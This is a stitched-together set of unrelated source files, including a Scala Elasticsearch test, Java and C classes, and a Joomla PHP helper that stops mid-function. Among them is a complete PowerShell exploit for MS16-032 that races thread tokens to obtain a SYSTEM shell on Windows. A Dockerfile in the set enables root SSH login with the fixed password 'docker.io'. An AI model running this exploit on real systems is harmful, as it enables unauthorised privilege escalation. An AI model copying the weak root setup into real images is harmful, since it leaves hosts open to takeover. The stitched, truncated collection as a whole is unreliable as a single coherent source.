text:
FROM ubuntu:12.04

# much of this was gleaned from https://github.com/lxc/lxc/blob/lxc-0.8.0/templates/lxc-ubuntu.in
# and then heavily modified and hacked like crazy

# we're going to want this bad boy installed so we can connect :)
RUN apt-get update && apt-get install -y ssh

ADD init-fake.conf /etc/init/fake-container-events.conf

# undo some leet hax of the base image
RUN rm /usr/sbin/policy-rc.d; \
	rm /sbin/initctl; dpkg-divert --rename --remove /sbin/initctl

# generate a nice UTF-8 locale for our use
RUN locale-gen en_US.UTF-8 && update-locale LANG=en_US.UTF-8

# remove some pointless services
RUN /usr/sbin/update-rc.d -f ondemand remove; \
	for f in \
		/etc/init/u*.conf \
		/etc/init/mounted-dev.conf \
		/etc/init/mounted-proc.conf \
		/etc/init/mounted-run.conf \
		/etc/init/mounted-tmp.conf \
		/etc/init/mounted-var.conf \
		/etc/init/hostname.conf \
		/etc/init/networking.conf \
		/etc/init/tty*.conf \
		/etc/init/plymouth*.conf \
		/etc/init/hwclock*.conf \
		/etc/init/module*.conf\
	; do \
		dpkg-divert --local --rename --add "$f"; \
	done; \
	echo '# /lib/init/fstab: cleared out for bare-bones Docker' > /lib/init/fstab

# small fix for SSH in 13.10 (that's harmless everywhere else)
RUN sed -ri 's/^session\s+required\s+pam_loginuid.so$/session optional pam_loginuid.so/' /etc/pam.d/sshd

RUN sed -ri 's/^PermitRootLogin\s+.*/PermitRootLogin yes/' /etc/ssh/sshd_config

# let Upstart know it's in a container
ENV container docker

# set a cheap, simple password for great convenience
RUN echo 'root:docker.io' | chpasswd

# we can has SSH
EXPOSE 22

# pepare for takeoff
CMD ["/sbin/init"]


text:
package com.sksamuel.elastic4s.requests.aliases

import com.sksamuel.elastic4s.Index
import com.sksamuel.elastic4s.requests.indexes.admin.{AliasActionResponse, AliasExistsResponse}
import com.sksamuel.elastic4s.requests.indexes.alias.{Alias, IndexAliases}
import com.sksamuel.elastic4s.testkit.DockerTests
import org.scalatest.matchers.should.Matchers
import org.scalatest.wordspec.AnyWordSpec

import scala.util.Try

class AliasesHttpTest extends AnyWordSpec with Matchers with DockerTests {

  removeIndex("beaches")
  removeIndex("mountains")

  addIndex("beaches")
  addIndex("mountains")

  client.execute {
    indexInto("beaches").fields("name" -> "gold").refreshImmediately
  }.await

  client.execute {
    indexInto("beaches").fields("name" -> "sword").refreshImmediately
  }.await

  "alias actions" should {
    "support adding an alias" in {
      client.execute {
        aliases(
          addAlias("beaches_alias", "beaches")
        )
      }.await.result shouldBe AliasActionResponse(true)

      client.execute {
        getAliases(Nil, Seq("beaches_alias"))
      }.await.result shouldBe IndexAliases(Map(Index("beaches") -> List(Alias("beaches_alias"))))
    }
    "multiple operations" in {
      client.execute {
        aliases(
          removeAlias("beaches_alias").on("beaches"),
          addAlias("mountains_alias").on("mountains")
        )
      }.await.result should be(AliasActionResponse(true))

      client.execute {
        aliasExists("mountains_alias")
      }.await.result should be(AliasExistsResponse(true))

      client.execute {
        aliasExists("beaches_alias")
      }.await.result should be(AliasExistsResponse(false))

      client.execute {
        getAliases(Nil, Seq("mountains_alias"))
      }.await.result shouldBe IndexAliases(Map(Index("mountains") -> List(Alias("mountains_alias"))))

      client.execute {
        getAliases(Nil, Seq("beaches_alias"))
      }.await.result shouldBe IndexAliases(Map.empty)
    }
    "support removing an alias" in {
      client.execute {
        aliases(
          removeAlias("mountains_alias", "mountains")
        )
      }.await.result should be(AliasActionResponse(true))

      client.execute {
        aliasExists("mountains_alias")
      }.await.result should be(AliasExistsResponse(false))

      client.execute {
        getAliases(Nil, Seq("mountains_alias"))
      }.await.result shouldBe IndexAliases(Map.empty)
    }
  }

  "getAliases" should {
    "return empty response when the index is not found" in {
      client.execute {
        getAliases("does_not_exist", Nil)
      }.await.result shouldBe IndexAliases(Map.empty)
    }
    "return empty response when no index of many is found" in {
      client.execute {
        aliases(
          addAlias("beaches_alias", "beaches")
        )
      }.await.result shouldBe AliasActionResponse(true)

      client.execute {
        getAliases(Seq("does_not_exist", "beaches"), Nil)
      }.await.result shouldBe IndexAliases(Map())
    }
    "support multiple indexes where many are found" in {
      client.execute {
        getAliases(Seq("mountains", "beaches"), Nil)
      }.await.result shouldBe IndexAliases(Map(Index("beaches") -> List(Alias("beaches_alias")), Index("mountains") -> Nil))
    }
    "return all aliases / all indexes when nothing is specified" in {

      client.execute {
        aliases(
          addAlias("sandy_beaches", "beaches"),
          addAlias("big_mountains", "mountains")
        )
      }.await.result shouldBe AliasActionResponse(true)

      val results = client.execute {
        getAliases()
      }.await.result

      val map = results.mappings
      map(Index("beaches")) shouldBe List(Alias("beaches_alias"), Alias("sandy_beaches"))
      map(Index("mountains")) shouldBe List(Alias("big_mountains"))
    }
  }

  "alias filters" should {
    "filter search results" in {
      client.execute {
        aliases(
          addAlias("metal_beaches", "beaches").filter(prefixQuery("name", "g"))
        )
      }.await.result shouldBe AliasActionResponse(true)

      val result = client.execute {
        search("metal_beaches").matchAllQuery()
      }.await.result
      result.hits.hits.length shouldBe 1
      result.hits.hits.head.sourceAsMap("name") shouldBe "gold"
    }
  }

  private def removeIndex(name: String): Unit = {
    Try {
      client.execute {
        deleteIndex(name)
      }.await
    }
  }

  private def addIndex(index: String): Unit = {
    client.execute {
      createIndex(index).mapping(
        properties(
          textField("b")
        )
      ).shards(1).replicas(0).waitForActiveShards(1)
    }.await
  }
}

redpajama_set_name: RedPajamaGithub


text:
package io.awacs.component.org.jetbrains.java.decompiler.struct;

import io.awacs.component.org.jetbrains.java.decompiler.struct.consts.ConstantPool;
import io.awacs.component.org.jetbrains.java.decompiler.util.DataInputFullStream;

import java.io.IOException;

/*
  field_info {
    u2 access_flags;
    u2 name_index;
    u2 descriptor_index;
    u2 attributes_count;
    attribute_info attributes[attributes_count];
   }
*/
public class StructField extends StructMember {

  private final String name;
  private final String descriptor;

  public StructField(DataInputFullStream in, StructClass clStruct) throws IOException {
    accessFlags = in.readUnsignedShort();
    int nameIndex = in.readUnsignedShort();
    int descriptorIndex = in.readUnsignedShort();

    ConstantPool pool = clStruct.getPool();
    String[] values = pool.getClassElement(ConstantPool.FIELD, clStruct.qualifiedName, nameIndex, descriptorIndex);
    name = values[0];
    descriptor = values[1];

    attributes = readAttributes(in, pool);
  }

  public String getName() {
    return name;
  }

  public String getDescriptor() {
    return descriptor;
  }

  @Override
  public String toString() {
    return name;
  }
}


text:
#include "struct.h"
#include "common.h"
#include "sys.h"
#include "msg.h"
#include "h.h"
#include <string.h>

char *cmdstr = NULL;

int CommandExists(char *name)
{
	aCommand *p;

	for (p = CommandHash[toupper(*name)]; p; p = p->next)
	{
		if (!stricmp(p->cmd, name))
			return 1;
	}

	return 0;
}

Command *CommandAdd(Module *module, char *cmd, int (*func)(), unsigned char params, int flags)
{
	Command *command = NULL;
	aCommand *c;

	if (find_Command_simple(cmd))
	{
		if (module)
			module->errorcode = MODERR_EXISTS;
		return NULL;
	}

	if (!flags)
	{
		config_error("CommandAdd(): Could not add command '%s': flags are 0", cmd);
		if (module)
			module->errorcode = MODERR_INVALID;
		return NULL;
	}

	c = add_Command_backend(cmd, func, params, flags);

	if (module)
	{
		ModuleObject *cmdobj = (ModuleObject *)MyMallocEx(sizeof(ModuleObject));
		command = MyMallocEx(sizeof(Command));
		command->cmd = c;
		command->cmd->owner = module;
		command->cmd->friend = NULL;
		cmdobj->object.command = command;
		cmdobj->type = MOBJ_COMMAND;
		AddListItem(cmdobj, module->objects);
		module->errorcode = MODERR_NOERROR;
	}

	if (flags & M_ANNOUNCE)
	{
		char *tmp;
		if (cmdstr)
			tmp = MyMallocEx(strlen(cmdstr)+strlen(cmd)+2);
		else
			tmp = MyMallocEx(strlen(cmd)+2);
		if (cmdstr)
		{
			strcpy(tmp, cmdstr);
			strcat(tmp, ",");
		}
		strcat(tmp, cmd);
		if (cmdstr)
		{
			IsupportSetValue(IsupportFind("CMDS"), tmp);
			free(cmdstr);
		}
		else
			IsupportAdd(NULL, "CMDS", tmp);
		cmdstr = tmp;
	}

	return command;
}

void CommandDel(Command *command) {
	Cmdoverride *ovr, *ovrnext;

	if (command->cmd->flags & M_ANNOUNCE)
	{
		char *tmp = MyMallocEx(strlen(cmdstr)+1);
		char *tok;
		for (tok = strtok(cmdstr, ","); tok; tok = strtok(NULL, ","))
		{
			if (!stricmp(tok, command->cmd->cmd))
				continue;
			if (tmp)
				strcat(tmp, ",");
			strcat(tmp, tok);
		}
		free(cmdstr);
		if (!*tmp)
		{
			IsupportDel(IsupportFind("CMDS"));
			free(tmp);
			cmdstr = NULL;
		}
		else
			cmdstr = tmp;
	}
	DelListItem(command->cmd, CommandHash[toupper(*command->cmd->cmd)]);
	if (command->cmd->owner) {
		ModuleObject *cmdobj;
		for (cmdobj = command->cmd->owner->objects; cmdobj; cmdobj = (ModuleObject *)cmdobj->next) {
			if (cmdobj->type == MOBJ_COMMAND && cmdobj->object.command == command) {
				DelListItem(cmdobj,command->cmd->owner->objects);
				MyFree(cmdobj);
				break;
			}
		}
	}
	for (ovr = command->cmd->overriders; ovr; ovr = ovrnext)
	{
		ovrnext = ovr->next;
		CmdoverrideDel(ovr);
	}
	MyFree(command->cmd->cmd);
	MyFree(command->cmd);
	MyFree(command);
}


text:
Smolyak UQ Method
=================
.. currentmodule:: puq
.. autoclass:: Smolyak
    :members: __init__


text:
package org.math.plot.render;

import org.math.plot.canvas.*;

public class AWTDrawer2D extends AWTDrawer {

    public AWTDrawer2D(PlotCanvas _canvas) {
        super(_canvas);
        projection = new Projection2D(this);
    }

}


text:
function Invoke-MS16-032 {
<#
.SYNOPSIS

    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo).

    Targets:

    * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
    * Tested on x32 Win7, x64 Win8, x64 2k12R2

    Notes:

    * In order for the race condition to succeed the machine must have 2+ CPU
      cores. If testing in a VM just make sure to add a core if needed mkay.
    * Want to know more about MS16-032 ==>
      https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
.DESCRIPTION
	Author: Ruben Boonen (@FuzzySec)
	Blog: http://www.fuzzysecurity.com/
	License: BSD 3-Clause
	Required Dependencies: PowerShell v2+
	Optional Dependencies: None

.EXAMPLE
	C:\PS> Invoke-MS16-032
#>
	Add-Type -TypeDefinition @"
	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using System.Security.Principal;

	[StructLayout(LayoutKind.Sequential)]
	public struct PROCESS_INFORMATION
	{
		public IntPtr hProcess;
		public IntPtr hThread;
		public int dwProcessId;
		public int dwThreadId;
	}

	[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
	public struct STARTUPINFO
	{
		public Int32 cb;
		public string lpReserved;
		public string lpDesktop;
		public string lpTitle;
		public Int32 dwX;
		public Int32 dwY;
		public Int32 dwXSize;
		public Int32 dwYSize;
		public Int32 dwXCountChars;
		public Int32 dwYCountChars;
		public Int32 dwFillAttribute;
		public Int32 dwFlags;
		public Int16 wShowWindow;
		public Int16 cbReserved2;
		public IntPtr lpReserved2;
		public IntPtr hStdInput;
		public IntPtr hStdOutput;
		public IntPtr hStdError;
	}

	[StructLayout(LayoutKind.Sequential)]
	public struct SQOS
	{
		public int Length;
		public int ImpersonationLevel;
		public int ContextTrackingMode;
		public bool EffectiveOnly;
	}

	public static class Advapi32
	{
		[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
		public static extern bool CreateProcessWithLogonW(
			String userName,
			String domain,
			String password,
			int logonFlags,
			String applicationName,
			String commandLine,
			int creationFlags,
			int environment,
			String currentDirectory,
			ref  STARTUPINFO startupInfo,
			out PROCESS_INFORMATION processInformation);

		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool SetThreadToken(
			ref IntPtr Thread,
			IntPtr Token);

		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool OpenThreadToken(
			IntPtr ThreadHandle,
			int DesiredAccess,
			bool OpenAsSelf,
			out IntPtr TokenHandle);

		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool OpenProcessToken(
			IntPtr ProcessHandle,
			int DesiredAccess,
			ref IntPtr TokenHandle);

		[DllImport("advapi32.dll", SetLastError=true)]
		public extern static bool DuplicateToken(
			IntPtr ExistingTokenHandle,
			int SECURITY_IMPERSONATION_LEVEL,
			ref IntPtr DuplicateTokenHandle);
	}

	public static class Kernel32
	{
		[DllImport("kernel32.dll")]
		public static extern uint GetLastError();

		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern IntPtr GetCurrentProcess();

		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern IntPtr GetCurrentThread();

		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern int GetThreadId(IntPtr hThread);

		[DllImport("kernel32.dll", SetLastError = true)]
		public static extern int GetProcessIdOfThread(IntPtr handle);

		[DllImport("kernel32.dll",SetLastError=true)]
		public static extern int SuspendThread(IntPtr hThread);

		[DllImport("kernel32.dll",SetLastError=true)]
		public static extern int ResumeThread(IntPtr hThread);

		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool TerminateProcess(
			IntPtr hProcess,
			uint uExitCode);

		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool CloseHandle(IntPtr hObject);

		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool DuplicateHandle(
			IntPtr hSourceProcessHandle,
			IntPtr hSourceHandle,
			IntPtr hTargetProcessHandle,
			ref IntPtr lpTargetHandle,
			int dwDesiredAccess,
			bool bInheritHandle,
			int dwOptions);
	}

	public static class Ntdll
	{
		[DllImport("ntdll.dll", SetLastError=true)]
		public static extern int NtImpersonateThread(
			IntPtr ThreadHandle,
			IntPtr ThreadToImpersonate,
			ref SQOS SecurityQualityOfService);
	}
"@

	function Get-ThreadHandle {
		# StartupInfo Struct
		$StartupInfo = New-Object STARTUPINFO
		$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
		$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
		$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
		$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
		$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size

		# ProcessInfo Struct
		$ProcessInfo = New-Object PROCESS_INFORMATION

		# CreateProcessWithLogonW --> lpCurrentDirectory
		$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, "C:\Windows\System32\cmd.exe", "",
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)

		# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
		$lpTargetHandle = [IntPtr]::Zero
		$CallResult = [Kernel32]::DuplicateHandle(
			$ProcessInfo.hProcess, 0x4,
			[Kernel32]::GetCurrentProcess(),
			[ref]$lpTargetHandle, 0, $false,
			0x00000002)

		# Clean up suspended process
		$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)

		$lpTargetHandle
	}

	function Get-SystemToken {
		echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)"

		$CallResult = [Kernel32]::SuspendThread($hThread)
		if ($CallResult -ne 0) {
			echo "[!] $hThread is a bad thread, exiting.."
			Return
		} echo "[+] Thread suspended"

		echo "[>] Wiping current impersonation token"
		$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero)
		if (!$CallResult) {
			echo "[!] SetThreadToken failed, exiting.."
			$CallResult = [Kernel32]::ResumeThread($hThread)
			echo "[+] Thread resumed!"
			Return
		}

		echo "[>] Building SYSTEM impersonation token"
		# SecurityQualityOfService struct
		$SQOS = New-Object SQOS
		$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
		$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
		# Undocumented API's, I like your style Microsoft ;)
		$CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos)
		if ($CallResult -ne 0) {
			echo "[!] NtImpersonateThread failed, exiting.."
			$CallResult = [Kernel32]::ResumeThread($hThread)
			echo "[+] Thread resumed!"
			Return
		}

		# Null $SysTokenHandle
		$script:SysTokenHandle = [IntPtr]::Zero

		# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
		$CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle)
		if (!$CallResult) {
			echo "[!] OpenThreadToken failed, exiting.."
			$CallResult = [Kernel32]::ResumeThread($hThread)
			echo "[+] Thread resumed!"
			Return
		}

		echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
		echo "[+] Resuming thread.."
		$CallResult = [Kernel32]::ResumeThread($hThread)
	}

	# main() <--- ;)
	$ms16032 = @"
	 __ __ ___ ___   ___     ___ ___ ___
	|  V  |  _|_  | |  _|___|   |_  |_  |
	|     |_  |_| |_| . |___| | |_  |  _|
	|_|_|_|___|_____|___|   |___|___|___|

	               [by b33f -> @FuzzySec]
"@

	$ms16032

	# Check logical processor count, race condition requires 2+
	echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
	if ($([System.Environment]::ProcessorCount) -lt 2) {
		echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
		Return
	}

	echo "[>] Duplicating CreateProcessWithLogonW handle"
	$hThread = Get-ThreadHandle

	# If no thread handle is captured, the box is patched
	if ($hThread -eq 0) {
		echo "[!] No valid thread handle was captured, exiting!`n"
		Return
	} else {
		echo "[?] Done, using thread handle: $hThread"
	} echo "`n[*] Sniffing out privileged impersonation token.."

	# Get handle to SYSTEM access token
	Get-SystemToken

	# If we fail a check in Get-SystemToken, exit
	if ($SysTokenHandle -eq 0) {
		Return
	}

	echo "`n[*] Sniffing out SYSTEM shell.."
	echo "`n[>] Duplicating SYSTEM token"
	$hDuplicateTokenHandle = [IntPtr]::Zero
	$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)

	# Simple PS runspace definition
	echo "[>] Starting token race"
	$Runspace = [runspacefactory]::CreateRunspace()
	$StartTokenRace = [powershell]::Create()
	$StartTokenRace.runspace = $Runspace
	$Runspace.Open()
	[void]$StartTokenRace.AddScript({
		Param ($hThread, $hDuplicateTokenHandle)
		while ($true) {
			$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle)
		}
	}).AddArgument($hThread).AddArgument($hDuplicateTokenHandle)
	$AscObj = $StartTokenRace.BeginInvoke()

	echo "[>] Starting process race"
	# Adding a timeout (10 seconds) here to safeguard from edge-cases
	$SafeGuard = [diagnostics.stopwatch]::StartNew()
	while ($SafeGuard.ElapsedMilliseconds -lt 10000) {

		# StartupInfo Struct
		$StartupInfo = New-Object STARTUPINFO
		$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size

		# ProcessInfo Struct
		$ProcessInfo = New-Object PROCESS_INFORMATION

		# CreateProcessWithLogonW --> lpCurrentDirectory
		$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, "C:\Windows\System32\cmd.exe", "",
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)

		#---
		# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
		#---
		# Missing this check used to cause the exploit to fail sometimes.
		# If CreateProcessWithLogon fails OpenProcessToken won't succeed
		# but we obviously don't have a SYSTEM shell :'( . Should be 100%
		# reliable now!
		#---
		if (!$CallResult) {
			continue
		}

		$hTokenHandle = [IntPtr]::Zero
		$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
		# If we can't open the process token it's a SYSTEM shell!
		if (!$CallResult) {
			echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
			$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
			$StartTokenRace.Stop()
			$SafeGuard.Stop()
			Return
		}

		# Clean up suspended process
		$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)

	}

	# Kill runspace & stopwatch if edge-case
	$StartTokenRace.Stop()
	$SafeGuard.Stop()
}


text:
<?php

defined('_JEXEC') or die;

require_once dirname(__FILE__) . '/vmloader.php';
require_once dirname(__FILE__) . '/helper_base.php';

abstract class VMListingTabsHelper extends VMListingTabsBaseHelper
{
    private static $_category_tree;

    public static function getList($params)
    {
		VmConfig::loadJLang('com_virtuemart', true);
		VmConfig::loadConfig();
	    $type_filter = $params->get('filter_type');
        $_catids = self::_getCatIds($params);
	    $categoryModel = VmModel::getModel('Category');
        $categoryModel->_noLimit = true;

        //$catids = self::_getChildCategories($_catids, $params);

        $list = array();
        switch ($type_filter) {
            case 'filter_categories':
                $categories = self::_getCategoryInfor($_catids, $params);
                if (empty($categories)) return;

                $field_order = $params->get('source_order');

                if ($params->get('tab_all_display', 1)) {
                    $all = new stdClass();
                    $all->virtuemart_category_id = '*';
                    $all->count = self::_CountProduct($all->virtuemart_category_id, $params, $field_order);
                    $all->title = 'ALL';
                    $all->field_order = $field_order;
                    array_unshift($categories, $all);
                }

                $catidpreload = $params->get('catid_preload');
                if (!in_array($catidpreload, $_catids)) {
                    $catidpreload = $_catids[0];
                }
                $selected = false;
                foreach ($categories as $cat) {

                    if (isset($cat->sel)) {
                        unset($cat->sel);
                    }
                    if ($cat->count > 0) {
                        if ($cat->virtuemart_category_id == $catidpreload) {
                            $cat->sel = 'sel';
                            $cat->child = self::_getProductInfor($catidpreload, $params, $field_order);
                            $selected = true;
                        }

                        $list[$cat->virtuemart_category_id] = $cat;
                    }

                }

                // first tab is active
                if (!$selected) {
                    foreach ($categories as $cat) {
                        if ($cat->count > 0) {
                            $cat->sel = 'sel';
                            $cat->child = self::_getProductInfor($cat->virtuemart_category_id, $params, $field_order);

                            $list[$cat->virtuemart_category_id] = $cat;
                            break;
                        }
                    }
                }

                break;

            case 'filter_orders':
                $filters = $params->get('filter_order_by');
                $products = array();
                $filter_preload = $params->get('field_preload');
                if (empty($filters)) return;
                if (!in_array($filter_preload, $filters)) {
                    $filter_preload = array_shift($filters);
                }

                foreach ($filters as $filter) {
                    $product = new stdClass();
                    $product->count = self::_CountProduct('*', $params, $filter);
                    $product->virtuemart_category_id = $filter;
                    $product->category_name = self::getLabel($filter);
                    $product->field_order = $filter;
                    array_unshift($products, $product);
                }

                foreach ($products as $product) {
                    if ($product->count > 0) {
                        if ($product->virtuemart_category_id == $filter_preload) {
                            $product->sel = 'sel';
                            $product->child = self::_getProductInfor('*', $params, $filter_preload);
                        }
                        $list[$product->virtuemart_category_id] = $product;
                    }
                }
                break;

        }
        if (empty($list)) return;
        return $list;
    }

    public static function _getCategoryInfor($catids, $params)
    {
        if (empty($catids)) return;
        $categoryModel = VmModel::getModel('Category');
        $categoryModel->_noLimit = true;
        $list = array();
        foreach ($catids as $_cat) {
            $category = $categoryModel->getCategory($_cat, false);
            $list[] = $category;
        }
        $categoryModel->addImages($list);
        foreach ($list as $catid) {
            $catid->title = $catid->category_name;
            $catid->count = self::_CountProduct($catid->virtuemart_category_id, $params, $params->get('source_order'));
            $catid->link = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id=' . $catid->virtuemart_category_id);
            $catid->_description = $catid->category_description;
            $catid->_description = self::_trimEncode($catid->_description != '') ? self::truncate($catid->_description, $params->get('tab_max_characters', 20)) : '';
            $catid->field_order = $params->get('source_order');
            $catid->id = $catid->virtuemart_category_id;
            $list[$catid->id] = $catid;
        }

        $cat_order_by = $params->get('cat_order_by', null);
        $cat_ordering_direction = $params->get('cat_ordering_direction', 'ASC');
        if ($cat_ordering_direction == 'ASC') {
            switch ($cat_order_by) {
                default:
                case 'title':
                    usort($list, create_function('$a, $b', 'return strnatcasecmp( $a->category_name, $b->category_name);'));
                    break;
                case 'created':
                    usort($list, create_function('$a, $b', 'return $a->created_on < $b->created_on;'));
                    break;
                case 'random':
                    shuffle($list);
                    break;
            }
        } else {
            switch ($cat_order_by) {
                default:
                case 'title':
                    usort($list, create_function('$a, $b', 'return strnatcasecmp( $b->category_name, $a->category_name);'));
                    break;
                case 'created':
                    usort($list, create_function('$a, $b', 'return $a->created_on > $b->created_on;'));
                    break;
                case 'random':
                    shuffle($list);
                    break;
            }
        }

        return $list;
    }

    public static function _getCatIds($params)
    {
        $catids = $params->get('catid');
        !is_array($catids) && settype($catids, 'array');
        if ($catids == null) return;
        $_catids = self::_getPublishCategories($catids);
        if (empty($_catids)) return;

        return $_catids;
    }

    public static function getLabel($filter)
    {
        switch ($filter) {
            case 'product_name' :
                return JText::_('NAME');
            case 'id' :
                return JText::_('ID');
            case 'topten' :
                return JText::_('TOPTEN');
            case 'latest' :
                return JText::_('LATEST');
            case 'ordering':
                return JText::_('ORDERING');
            case 'product_price':
                return JText::_('PRICE');
            case 'random':
                return JText::_('RANDOM');
        }
    }

    public static function _CountProduct($catids, $params, $field_order)
    {
        if ($catids == '*') {
            $_catids = $params->get('catid');
            $catids = self::_getChildCategories($_catids, $params);
            $catids = self::_getPublishCategories($catids);
        }
        if (empty($catids)) return;

        $limitation = 999;
        $source_group = null;
        $ordering_direction = $params->get('product_ordering_direction');
        //$source_order = $params->get('source_order','group.featured');
        $p_special = $params->get('show_front');
        $categoryModel = VmModel::getModel('Category');
        $categoryModel->_noLimit = true;

        settype($catids,"array");
        $catids = self::_getChildCategories($catids, $params);
        $list = array();
        if (!empty($catids)) {
            $productModel = VmModel::getModel('Product');
            $productModel = new VirtuemartModelProductExtend();
            $productModel->filter_order = $field_order;
            $productModel->specail_product = $p_special;
            $productModel->ordering_direction = $ordering_direction;
            $desc_maxlength = $params->get('item_des_maxlength');
            $items = $productModel->getProductListing($source_group, $limitation, true, true, false, true, $catids);
            $productModel->addImages($items);
            $ratingModel = VmModel::getModel('ratings');
            foreach ($items as $item) {
                $item->title = $item->product_name;
                $item->id = $item->virtuemart_product_id;
                $item->description = $item->product_desc;
                self::getVmImages($item, $params);
                $item->short_desc = self::_cleanText($item->product_s_desc);
                $item->_description = self::_cleanText($item->description);
                $item->_description = ($item->_description != '') ? self::truncate($item->_description, $desc_maxlength) : self::truncate($item->short_desc, $desc_maxlength);
                $item->vote = $ratingModel->getVoteByProduct($item->virtuemart_product_id);
                $item->rating = $ratingModel->getRatingByProduct($item->virtuemart_product_id);
                $list[] = $item;
            }
        }

        return count($list);
    }

    public static function _getProductInfor($catids, $params, $field_order = null)
    {
		VmConfig::loadJLang('com_virtuemart', true);
		VmConfig::loadConfig();
        if ($catids == '*') {
            $_catids = $params->get('catid');
            $catids = self::_getChildCategories($_catids, $params);
            $catids = self::_getPublishCategories($catids);
        }
        if (empty($catids)) return;

        if ($catids == '*') {
            $limitation = 999;
        } else {
            $limitation = (int)$params->get('source_limit', 8);
        }

        $source_group = null;
        $ordering_direction = $params->get('product_ordering_direction');
        //$source_order = $params->get('source_order','group.featured');
        $p_special = $params->get('show_front');
        $categoryModel = VmModel::getModel('Category');
        $categoryModel->_noLimit = true;

        settype($catids,"array");
        $catids = self::_getChildCategories($catids, $params);

        $list = array();
        if (!empty($catids)) {
            $productModel = VmModel::getModel('Product');
            $productModel = new VirtuemartModelProductExtend();
            $productModel->filter_order = $field_order;
            $productModel->specail_product = $p_special;
            $productModel->ordering_direction = $ordering_direction;
            $desc_maxlength = $params->get('item_des_maxlength');
            $items = $productModel->getProductListing($source_group, $limitation, true, true, false, true, $catids);
            $productModel->addImages($items);
            $ratingModel = VmModel::getModel('ratings');
            foreach ($items as $item) {
                $item->title = $item->product_name;
                $item->id = $item->virtuemart_product_id;
                $item->description = $item->product_desc;
                self::getVmImages($item, $params);
                $item->short_desc = self::_cleanText($item->product_s_desc);
                $item->_description = self::_cleanText($item->description);
                $item->_description = ($item->_description != '') ? self::truncate($item->_description, $desc_maxlength) : self::truncate($item->short_desc, $desc_maxlength);
                $item->vote = $ratingModel->getVoteByProduct($item->virtuemart_product_id);
                $item->rating = $ratingModel->getRatingByProduct($item->virtuemart_product_id);
                $list[] = $item;
            }
        }

        return $list;
    }

    public static function _getChildCategories($catids, $params)
    {
        $additional_catids = array();
        if ($params->get('show_child_category_products', 0) == 1) {

            $levels = $params->get('levels', 1) > 0 ? $params->get('levels', 1) : 9999;
            foreach ($catids as $catid) {
                $items = self::getCategoryTree($catid, 0);
                if (!empty($items)) {
                    foreach ($items as $category) {
                        $condition = $category->level <= $levels;
                        if ($condition) {
                            $additional_catids[] = $category->virtuemart_category_id;
                        }
                    }
                }
            }
            $list = array_unique(array_merge($catids, $additional_catids));
            return $list;
        } else {
            return $list = $catids;
        }
    }

    private static function _getPublishCategories($catids)
    {
        $list = array();
        !is_array($catids) && settype($catids, 'array');
        $db = JFactory::getDBO();
        $q = "
            SELECT virtuemart_category_id as id
            FROM #__virtuemart_categories as c
            WHERE c.virtuemart_category_id IN ( " . implode(',', $catids) . " ) AND c.published = 1
        ";
        $db->setQuery($q);
